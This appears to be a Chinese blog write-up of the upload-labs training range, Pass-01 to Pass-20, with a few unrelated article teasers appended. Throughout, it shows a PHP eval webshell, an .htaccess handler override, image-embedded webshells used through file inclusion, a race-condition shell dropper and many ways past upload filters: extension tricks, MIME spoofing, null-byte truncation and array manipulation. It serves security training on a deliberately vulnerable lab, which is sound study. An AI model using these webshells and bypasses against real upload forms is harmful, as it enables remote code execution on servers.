uploads-labs靶场刷题记录

Pass-01

在这里插入图片描述
尝试上传一句话木马
1.php:

<?php @eval($_POST['cmd']);?>

发现设置了白名单且抓包没有记录,说明在前端进行的拦截(可以禁用前端的JS从而绕过拦截,达到直接上传木马的目的)。
将一句话木马文件加上.jpg后缀1.php.jpg,上传抓包再将.jpg后缀删掉,使用蚁剑连接成功,密码为POST中的内容,这里为cmd
在这里插入图片描述

Pass-02

上传一句话木马1.php,回显文件类型不正确,且抓包有记录说明是后端检测,禁用前端JS就不能绕过了
在这里插入图片描述
抓包修改数据包类型,改为image/jpeg即可绕过,复制图片地址,利用蚁剑连接成功
在这里插入图片描述

Pass-03

在这里插入图片描述
直接上传一句话木马1.php,回显后缀名黑名单.asp, .aspx, .php, .jsp,并且BurpSuite中抓包有记录说明是传到后端做检测,双写1.phpphp测试看能不能让绕过,上传成功了
在这里插入图片描述

复制图片链接用蚁剑连接试试–连接不上,还可以注意到上传的文件被重命名了
在这里插入图片描述
可以访问但是蚁剑连接不上,是因为上传的文件没被执行,docker上的环境没配好,在docker中打开uploads靶场相应配置文件,路径为/etc/apache2/apache2.conf
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
添加一些文件扩展名,使其与 PHP 处理程序关联,从而让这些文件扩展名的文件被当作 PHP 脚本解析和执行。

AddType application/ x-httpd-php php3 php5 phtml png phpphp pHp Php PHp
  1. AddType
    AddType 指令用于告诉服务器为某些文件扩展名指定特定的 MIME 类型。在此例中,AddType 将指定的文件类型与 PHP 的 MIME 类型(application/x-httpd-php)相关联。
  2. application/x-httpd-php
    这是 PHP 文件的 MIME 类型。它告诉 Apache Web 服务器,这些文件应该由 PHP 处理器解析和执行。

之后重启该靶场即可 终于成功了折腾了好久…

在这里插入图片描述

Pass-04

先上传一个普通图片,发现没有被重命名,再上传一句话木马提示后缀名不允许
在这里插入图片描述
使用BurpSuite爆破下哪些后缀名可用,可以上传htaccess文件在这里插入图片描述
本地先创建一个.htaccess文件并写入, .htaccess 文件中的代码的作用是将特定的文件(在此例中是 1.jpg)作为 PHP 文件来处理,即当请求该文件时,服务器将把它当作 PHP 文件进行解析和执行,而不是当作普通的图片文件,而1.jpg是写好的一句话木马

<FilesMatch "1.jpg">   SetHandler application/x-httpd-php
</FilesMatch>

先上传该.htaccess文件,再上传1.jpg就可以用蚁剑连接上了

Pass-05

上传一个正常图片,复制图片链接发现被重命名了(看源码重命名的规则是当前时间,年月日时分秒加随机四位数),上传一句话木马有抓包记录,也是后端验证,再爆破下后缀名,发现大小写混合可以绕过
在这里插入图片描述
将一句话木马文件命名为12.PHp即可绕过并使用蚁剑成功连接

Pass-06

看了WriteUp这关的没有做空格过滤,源码中没有trim()函数,考虑使用空格绕过。
上传1.php一句话木马抓包在后缀加上空格
在这里插入图片描述
上传成功,但是蚁剑又连不上,裂开 复制图片地址打开,回显Not found,搜了半天好像和靶场的Linux环境有关
在这里插入图片描述
和第一关上传的一句话木马对比看下可以发现,文件名后缀的空格其实是被保留了,无法作为php文件被执行了,原因如下

  • 在 Windows 上,攻击者可以利用系统自动去掉文件名末尾空格的特性,上传名为 2.php (带空格)的文件。由于检查扩展名时空格可能被忽略,服务器最终会执行2.php(不带空格)文件的代码。
  • 在 Linux 上,由于文件名中的空格不会被去掉,2.php(带空格)2.php(不带空格)是不同的文件。因此,即使文件上传成功,服务器也不会将 2.php (带空格)解析为 PHP 文件,而是视其为普通文件(不执行代码)。
    在这里插入图片描述

在这里插入图片描述

Pass-07

使用BurpSuite对上传后缀名爆破,爆破结果里面php3(带空格)扩展名和php3.都可以传上去,看了WriteUp了解Linux中文件可以以点号前面的文件格式运行,所以上传php3.会以php文件执行。

特性WindowsLinux
扩展名用途必须依靠扩展名识别文件类型扩展名不是必须,文件内容决定文件类型
大小写敏感性不区分大小写区分大小写
扩展名默认显示默认隐藏默认显示
文件名字符限制文件名不能包含特殊字符,末尾空格会被去掉文件名可以包含空格和特殊字符
可执行性通过扩展名判断是否可执行通过文件权限判断是否可执行
文件类型判断通过扩展名决定通过文件头和权限决定

可以构造一句话木马并在上传时用BurpSuite拦截并重命名为1.php.
在这里插入图片描述

上传成功了并且文件名为1.php.,使用蚁剑连接也能成功连上在这里插入图片描述

Pass-08

上传上一关的1.php.转义为1.php%2e可以上传,并且在服务器端会存储为1.php%2e,但是这样使用URL去访问时会被编码为1.php.而访问不到

在这里插入图片描述
这关是利用::$data绕过也是Windows特性,docker上的靶场是Linux环境,暂时跳过
相关知识:
在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php

Pass-09

没什么头绪,根据源码来看一下
在这里插入图片描述

  1. $deny_ext = array(...);
    定义一个数组 $deny_ext,其中列出了禁止上传的文件扩展名。

  2. $file_name = trim($_FILES['upload_file']['name']);
    $_FILES['upload_file'] 获取用户上传的文件名,并使用 trim() 函数去除文件名两端的空格。

  3. $file_name = deldot($file_name);
    删除文件名末尾的点号(.)。

  4. $file_ext = strrchr($file_name, '.');
    使用 strrchr() 函数获取文件名中的最后一个点号及其后的内容(即文件扩展名)。

    • 如果文件名为 example.jpg,那么 $file_ext 的值将是 .jpg
  5. $file_ext = str_ireplace('::$DATA', '', $file_ext);
    使用 str_ireplace() 函数去除扩展名中可能存在的 ::$DATA 字符串。这是为了防止 NTFS 数据流攻击,其中攻击者可能通过在文件名后添加 ::$DATA 来隐藏文件的真正扩展名。

    • 如果扩展名是 .jpg::$DATA,则转换后变为 .jpg
  6. $file_ext = trim($file_ext);
    移除扩展名前后的空格,确保扩展名的格式干净、没有多余的空格字符。

  7. if (!in_array($file_ext, $deny_ext)) {
    检查文件的扩展名 $file_ext 是否在 $deny_ext 禁止列表中。

    • 如果扩展名 不在禁止列表中(即文件是允许的类型),则执行文件上传操作。
    • 如果扩展名 禁止列表中(即文件类型不允许上传),则跳到 else 分支,返回错误信息。
  8. $temp_file = $_FILES['upload_file']['tmp_name'];
    获取上传文件在服务器上的临时文件路径。PHP 在文件上传过程中,首先将文件存储在临时目录中,此处获取该路径。

  9. $img_path = UPLOAD_PATH.'/'.$file_name;
    生成上传文件的最终存储路径和文件名,没有被重命名,这点可以利用。

  10. if (move_uploaded_file($temp_file, $img_path)) {
    使用 move_uploaded_file() 函数将文件从临时目录移动到目标路径 $img_path。这是文件上传的实际操作步骤。

    • 返回值:如果文件成功移动,则返回 true,并设置 $is_upload = true,表示上传成功。

构造3.php. .来进行绕过可以上传成功为3.php.,经过源码的变化过程为
3.php. . -> 3.php. (后缀有空格) -> $file_ext =php. (后缀有空格) ->$file_ext =php. (后缀无空格)
但是访问上传的图片地址Not Found,怀疑还是docker上linux环境的问题,跳过
在这里插入图片描述

Pass-10

这关直接从文件名中去除所有匹配的扩展名,可以双写绕过1.phpphp
在这里插入图片描述
在这里插入图片描述

Pass-11

这关白名单策略,多了一个参数save_path,使用%00的方法截断后面的语句:

攻击者手动修改了上传过程的POST包,在文件名后添加一个%00字节,则可以截断某些函数对文件名的判断。因为在许多语言的函数中,比如在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。参考8.1.2绕过文件上传检查功能

在这里插入图片描述

上传文件名为1.jpg的一句话木马,抓包修改save_path,回显上传出错,是因为需要php版本小于5.3.4,靶场这里的PHP版本为5.5.38在这里插入图片描述

Pass-12

在这里插入图片描述
这里是POST传参,而上一题是GET方式,需要手动解码
在这里插入图片描述
选中%00对其进行解码

在这里插入图片描述
还有一种方法是抓包后先放一个占位符在1.php,这里放了+

在这里插入图片描述
打开Hex界面修改+对应十六进制值2b00,再放包复制返回的文件路径打开

在这里插入图片描述
但是由于PHP版本,这里都上传失败了

Pass-13

在这里插入图片描述
需要图片马,并且提供了文件包含漏洞的网址

  • 单纯的图片马并不能直接和蚁剑连接, 因为该文件依然是以image格式进行解析, 只有利用文件包含漏洞,才能成功利用该木马
copy 13.jpg/b+1.php tupianx.jpg

本地没有16进制工具,13.jpg是正常的图片,1.php是一句话木马,将木马放到图片结尾合成新的tupianx.jpg,合成后就可以上传了,之后打开文件包含漏洞

有参数file,拼接上已经上传的图片马地址,使用蚁剑连接成功

http://ip:8006/include.php?file=http://ip:8006/upload/1656416516516.jpg

Pass-14

上传Pass-13的图片马被拒
在这里插入图片描述

在这里插入图片描述
getimagesize() 是 PHP 中的一个内置函数,用于获取图像文件的大小以及其他相关信息。它不仅可以用于判断文件是否是有效的图像文件,还能返回图像的详细信息,包括宽度、高度、MIME 类型等。对于该函数返回的数组

Array
([0] => 1054	//索引 0 给出的是图像宽度的像素值[1] => 241	//索引 1 给出的是图像高度的像素值[2] => 2	//索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM[3] => width="1054" height="241"	//索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签[bits] => 8	//索引 bits 给出的是图像的每种颜色的位数,二进制格式[channels] => 3	//索引 channels 给出的是图像的通道值,RGB 图像默认是 3[mime] => image/jpeg	//索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header("Content-type: image/jpeg");
)

在这里插入图片描述
源码取了getimagesize() 返回列表中[2]的值,也就是判断了图像的类型值,上传上一关的图片马应该也是可以通过的,但是上传被拒了,个人感觉是这个if语句stripos函数的原因,修改了源码将stripos函数后加上了>=0,用上一关的图片马上传成功,同样在文件包含漏洞网站打开,蚁剑成功连接。
在 PHP 中,if(stripos($types, $ext))if(stripos($types, $ext) >= 0) 这两个语句并不等价

  1. stripos($types, $ext)

    • stripos() 函数用于在一个字符串中查找另一个字符串的首次出现位置,不区分大小写。
    • 如果 $ext$types 中找到,stripos() 会返回首次出现的索引(位置),否则返回 false
  2. if(stripos($types, $ext))

    • 当使用 if 判断 stripos($types, $ext) 时,PHP 会将返回的结果视为布尔值。
    • 如果 stripos() 找到 $ext,返回的位置(索引值)会被转换为 true(只要这个值不是 0)。如果 $ext 不在 $types 中,返回 false,条件为 false
    • 注意:如果 $ext$types 的开头(位置为 0),这个条件将为 false,因为在 PHP 中,0 被视为 false
  3. if(stripos($types, $ext) >= 0)

    • 这个条件明确检查 stripos() 的返回值是否大于或等于 0。
    • 如果 $ext$types 中的任意位置(包括开头),返回的位置将是 0 或更大的值,因此条件为 true
    • 如果 $ext 不在 $types 中,返回 false,这个条件也为 false

Pass-15

上一关的图片马可以成功绕过
在这里插入图片描述
exif_imagetype() 是 PHP 中的一个内置函数,用于确定指定文件的图像类型。它返回一个整数值,表示图像的 MIME 类型,可以用于检查文件是否为有效的图像文件。

函数语法:

int exif_imagetype(string $filename)

参数:

  • $filename:要检查的图像文件的路径。该文件必须存在且可读。

返回值:

  • 返回一个整数,表示图像的 MIME 类型。返回值可以是以下常量之一:
    • IMAGETYPE_GIF (1):GIF 格式
    • IMAGETYPE_JPEG (2):JPEG 格式
    • IMAGETYPE_PNG (3):PNG 格式
    • IMAGETYPE_SWF (4):SWF 格式
    • IMAGETYPE_PSD (5):Photoshop 文件格式
    • IMAGETYPE_BMP (6):BMP 格式
    • IMAGETYPE_TIFF_II (7):TIFF 格式(小端)
    • IMAGETYPE_TIFF_MM (8):TIFF 格式(大端)
    • IMAGETYPE_JPC (9):JPC 格式
    • IMAGETYPE_JP2 (10):JP2 格式
    • IMAGETYPE_JPX (11):JPX 格式
    • IMAGETYPE_JB2 (12):JB2 格式
    • IMAGETYPE_SWC (13):SWC 格式
    • IMAGETYPE_IFF (14):IFF 格式
    • IMAGETYPE_WBMP (15):WBMP 格式
    • IMAGETYPE_XBM (16):XBM 格式
  • 如果文件不是有效的图像文件,或者无法读取该文件,则返回 false

注意事项:

  • 该函数依赖于 exif 扩展,确保在使用之前启用该扩展。
  • exif_imagetype() 只处理图像文件,对于非图像文件或无效路径,返回 false

Pass-16

先把WriteUp放这儿

  • png格式,上传上一关的图片马会提示:该文件不是png格式的图片!
    在这里插入图片描述

imagecreatefromjpeg在处理这样的图片时会抹除所有的字节,我们必须要在特定的位置进行代码的注入。关于这个问题,网上已经有前辈做了相关的研究,在jpg图片的Scan Header 00 0C 03 01 00 02 11 03 11 00 3F 00后面插入代码有概率绕过gd库的imagecreatefromjpeg函数。引用地址

在010Editor中打开一个正常的图片
搜索以下代码,并在其后加上一句话木马,保存后拿来上传

00 0C 03 01 00 02 11 03 11 00 3F 00

在这里插入图片描述
上传之后页面没了!?发现被传到upload文件夹外了,–待研究
在这里插入图片描述

在这里插入图片描述

  • gif格式,上传前几关准备的在末尾加了一句话木马的gif直接被识别为非gif,找一个新的gif图片,在010Editor中其尾部追加<?php phpinfo(); ?>上传后下载,对比和原始的gif差别在哪儿
    在这里插入图片描述
    将木马写到蓝色区域中,这些是上传前后相同的,保存再次上传即可成功绕过

Pass-17

这关也是白名单
在这里插入图片描述
查看提示:需要代码审计,那就看源码
在这里插入图片描述
假如输入1.php.jpg模拟代码看能否绕过

  1. $file_name:

    • 这个变量表示用户上传的文件的原始名称。上传的文件是 1.php.jpg,所以:
      $file_name = '1.php.jpg';
      
  2. $temp_file:

    • 这个变量表示服务器在处理文件上传时,临时保存上传文件的路径。假设服务器保存文件的临时路径是 /tmp/phpXYZ123(这个路径是动态生成的,具体值会根据服务器情况变化),所以:
      $temp_file = '/tmp/phpXYZ123';
      
  3. $file_ext:

    • 这个变量通过截取文件名最后一个 . 后的内容,来得到文件扩展名。substr() 函数和 strrpos() 函数联合使用,查找最后一个 . 之后的部分。因此,对于文件 1.php.jpg,它提取的扩展名是 jpg
      $file_ext = 'jpg';
      
  4. $upload_file:

    • 这个变量是文件在服务器上传后要存储的路径,基于 UPLOAD_PATH。假设 UPLOAD_PATH/var/www/uploads,那么这个变量的值会是:
      $upload_file = '/var/www/uploads/1.php.jpg';
      
  5. move_uploaded_file($temp_file, $upload_file):

    • 该函数将上传的临时文件从 $temp_file 位置移动到 $upload_file 位置。成功后,1.php.jpg 文件会被移动到 /var/www/uploads/ 目录。
  6. if(in_array($file_ext,$ext_arr)):

    • 该条件判断文件扩展名是否在允许的扩展名数组 $ext_arr 中(jpg, png, gif)。由于 1.php.jpg 的扩展名是 jpg,这个判断条件为真。
  7. $img_path:

    • 这个变量会生成一个新的文件名,格式为随机两位数字 + 当前时间 + 原来的扩展名 jpg。例如:
      $img_path = '/var/www/uploads/56'.date("YmdHis").'.jpg';
      
    • 假设当前时间是 20241018123045,新的文件名可能是:
      $img_path = '/var/www/uploads/561230452024.jpg';
      
  8. rename($upload_file, $img_path):

    • 该行代码将文件从 1.php.jpg 重命名为新的文件名,例如 561230452024.jpg。到这里就可以知道上传的1.php.jpg会被定义为jpg格式的文件,而无法执行php代码。
  9. $is_upload:

    • 当上传和重命名操作成功时,这个变量被设置为 true,表示上传成功。
  10. 如果文件扩展名不合法:

    • 如果上传的文件不是 jpg, png, gif 格式会删除上传的文件,并给出错误提示。

看WP

将文件上传至服务器后,不会被立即删除,而是做短暂的停留,中间会有一小部分时间差,这部分时间差是代码进行if判断的时间,这部分时间足够执行一句代码,我们利用这段时间差和一段代码就可以达到上传含有恶意代码的非法文件的目的,这就是“条件竞争”。

  1. 先准备一个创建一句话木马的php并上传

    <?php fputs(fopen( 'shell.php', 'w'), '<?php @eval($_POST['cmd']);?>') ?>
    

    将其上传在BP将记录发送到Intruder并添加爆破点以及payload设置
    在这里插入图片描述

  2. 访问一句话木马php文件
    对该记录也进行爆破,不设置payload,持续访问

  3. 先开启上传的爆破,在开启访问的爆破

太卡了没有实操成功

Pass-18

图片马的条件竞争

Pass-19

这关可以手动命名,查看了源码有上传黑名单,但是没有禁止可以大小写混合,构造一句话木马文件为1.pHp在这里插入图片描述

Pass-20

最后一关
在这里插入图片描述
源码这里先检查了MIME,之后又重命名了文件名,参考WP,对上传的一句话木马进行修改,将save_name修改为数组

save_name[0] = upload-20.php/
save_name[1]//不填置空
save_name[2] = png
$ext=end($file); // $ext = png 绕过了后缀名检查 
$file_name = reset($file) . '.' . $file[count($file) - 1];//这段代码怎么绕过的还是没懂

在这里插入图片描述

  • 分析

    在 PHP 中,如果只设置了 $save_name[0]$save_name[2],但是没有设置 $save_name[1],数组中实际上是没有 $save_name[1] 这个元素的。因此,数组的键值并不是连续的,这种情况下 count($file) 仍然会把数组的实际元素数目作为返回值。

  • 举个例子:

    $save_name = array();
    $save_name[0] = 'cs.php/';
    $save_name[2] = 'jpg';
    print_r($save_name);
    
  • 输出的内容将是:

    Array
    ([0] => cs.php/[2] => jpg
    )
    
  • 解释代码行为:

    • reset($file) 取的是数组的第一个元素,即 'cs.php/'
    • count($file) 的值是 2,因为数组里只有两个元素(索引 0 和 2)。count($file) - 1 = 1
    • $file[1] 在这个数组里是不存在的,因为你没有显式设置它,所以返回的是 null 或者空值。

    因此,拼接结果会是:

    $file_name = 'cs.php/' . '.' . '';
    

在这里插入图片描述
上传到服务器端为upload-20.php,蚁剑测试可以成功连接。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/454009.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

后端常用安全措施

一、限流 1.简介 限流就是限制流量&#xff0c;但这里的流量是一个比较笼统的概念。如果考虑各种不同的场景&#xff0c;限流是非常复杂的&#xff0c;而且和具体的业务规则密切相关 通过限流&#xff0c;可以控制服务请求的速率&#xff0c;从而提高系统应对突发大流量的能…

ElementPlus中时间选择器配置

看文档老是力不从心&#xff0c;感觉找不到自己想要的样式的选择器记录一下吧 <el-date-pickerv-model"group.timeLimit"type"datetimerange":default-time"DEFAULT_DATE_TIME"range-separator"-"start-placeholder"开始时间&…

计算机组成原理一句话

文章目录 计算机系统概述存储系统 计算机系统概述 指令和数据以同等地位存储在存储器中&#xff0c;形式上没有差别&#xff0c;但计算机应能区分他们。通过指令周期的不同阶段。 完整的计算机系统包括&#xff0c;1&#xff09;软件系统&#xff1a;程序、文档和数据&#xff…

字符串(3)_二进制求和_高精度加法

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 字符串(3)_二进制求和_高精度加法 收录于专栏【经典算法练习】 本专栏旨在分享学习算法的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目…

2024 四川省大学生信息安全技术大赛 安恒杯 部分 WP

文章目录 一、前言二、MISCunzip-png拓展 第47张图片重要的文件 三、WEB四、CRYPTO五、REVERSE 一、前言 WP不完整&#xff0c;仅供参考&#xff01; 除WEB外&#xff0c;其余附件均已打包完毕&#xff0c;在这里也是非常感谢师傅的附件支持&#xff01; 123网盘下载&#x…

最佳简历--JAVA程序员的项目经验如何写

小熊学Java全能学习+面试指南:https://www.javaxiaobear.cn 首先你要明确,你能干什么,包括你自己编写的专业技能,到底会不会,怎么运用到技术上的? 1、你能干什么? 你能干什么,其实就展现你的能力,这是简历中最重要的部分,你需要证明前面说的你会的东东; 这就有点…

三周精通FastAPI:1 第一步入门

FastAPI是一个非常棒的python web和api框架&#xff0c;准备用三周的时间“精通它” 学习流程参考FastAPI官网的用户教程&#xff1a;教程 - 用户指南 - FastAPI 学前提示 运行代码 所有代码片段都可以复制后直接使用&#xff08;它们实际上是经过测试的 Python 文件&#x…

【前端】如何制作一个自己的网页(14)

当我们还需要对网页中的内容进行局部样式的修改。这时候&#xff0c;就需要用到HTML中的重要元素&#xff1a;span。 span是一个行内元素&#xff0c;可以对HTML文档中的内容进行局部布局。 如图&#xff0c;我们给标题和段落元素的部分内容设置了各种样式。 接下来&#xff0…

树上启发式合并(详解)

核心思想 借用了一个节点到根的路径上轻边个数不会超过logn条。 故重节点保留&#xff0c;轻节点删去&#xff0c;多重统计。 实际复杂度&#xff08;nlogn&#xff09; 例题 Lomsat gelral - 洛谷 AC 代码 #include<bits/stdc.h> #define int long long using na…

新型电力系统精细化时序模拟分析软件

一、背景意义 在“碳达峰碳中和”及“新型电力系统”战略引领下&#xff0c;新型电力系统电力电量平衡分析成为电力系统规划运行模拟仿真的必要环节。近年来&#xff0c;随着电网新能源渗透率逐渐提升&#xff0c;储能等灵活性调节资源大幅增加&#xff0c;传统的基于典型曲线…

qiankun 应用之间数据传递

qiankun 应用之间数据传递 全局共享 initGlobalState qiankun initGlobalState API 单击前往 qiankun 内部提供了 initGlobalState 方法用于注册 MicroAppStateActions 实例用于通信&#xff0c;该实例有三个方法&#xff0c;分别是onGlobalStateChange、setGlobalState、of…

小巧设计,强大功能:探索SoC模块的多样化功能

LoRa-STM32WLE5模块基于ST的STM32WLE5芯片&#xff0c;采用LoRa调制&#xff0c;适用于超远程和超低功耗无线电解决方案。搭载高性能Arm Cortex-M4核心&#xff0c;频率高达48 MHz&#xff0c;支持256 KB闪存和64 KB运行内存&#xff0c;具备安全性增强功能。广泛应用于安防、智…

C++进阶之路:日期类的实现、const成员(类与对象_中篇)

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

ue5 扇形射线检测和鼠标拖拽物体

这里的NumTrace是要发射几根射线&#xff0c;Degrees Per Trace是每根射线之间的角度&#xff0c; 例如 要在角色面前实现一个180度的扇形射线检测&#xff0c;就需这两个变量乘起来等于180 TraceLength是射线的长度 下面是鼠标拖动物体逻辑&#xff0c;很简单 这里的Floor和…

文心快码 - Baidu Comate 让AI帮你提高生产力|AI代码助理

码随心动&#xff0c;快人一步&#xff0c;更懂你的智能代码助手 基于文心大模型&#xff0c;结合百度编程大数据&#xff0c;为你生成优质编程代码。文心快码 - Baidu Comate&#xff0c;更懂你的AI编程伙伴&#xff0c;研发效率提升好帮手。 一、更懂研发知识 开发速度快 构…

提示词高级阶段学习day3.1

第三个类型就是让模型做信息的转化 最直观的例子就是翻译 去翻译英文&#xff0c;它的效果都非常好 除此之外&#xff0c;给大家举一个让大模型翻译代码的例子&#xff0c; 还有就是让大模型写代码的 这是一个数据分析场景&#xff0c;其实数据分析场景一直追求的就是一个…

LeetCode 精选 75 回顾

目录 一、数组 / 字符串 1.交替合并字符串 &#xff08;简单&#xff09; 2.字符串的最大公因子 &#xff08;简单&#xff09; 3.拥有最多糖果的孩子&#xff08;简单&#xff09; 4.种花问题&#xff08;简单&#xff09; 5.反转字符串中的元音字母&#xff08;简单&a…

企业级调度器 LVS

集群和分布式基础知识 系统性能的扩展方式 当一个系统&#xff0c;或一个服务的请求量达到一定的数量级的时候&#xff0c;运行该服务的服务器的性能和资源上限&#xff0c; 很容易成为其性能瓶颈。除了性能问题之外&#xff0c;如果只部署在单台服务器上&#xff0c;在此服务…

iOS Swift逆向——deMangle过程中的偏移计算

碰到好多函数最开始都会调用这个函数&#xff0c;xref了一下&#xff0c;发现有上万个xref。 __int64 __fastcall sub_1000B6ED0(__int64 *a1) {__int64 result; // x0result *a1;if ( result < 0 ){result swift_getTypeByMangledNameInContext((char *)a1 (int)result…

Hyper-V安装使用教程

操作系统&#xff1a;Windows Server 2019 Datacenter 1.安装Hyper-V (1)控制面板 > 程序 > 启用或关闭 Windows 功能 (2)勾选Hyper-V > 安装重启 2.Hyper-V管理器 (1)连接到服务器 > 本地计算机 (2)虚拟交换机管理器 > 新建虚拟网络交换机 > 外部 > 创…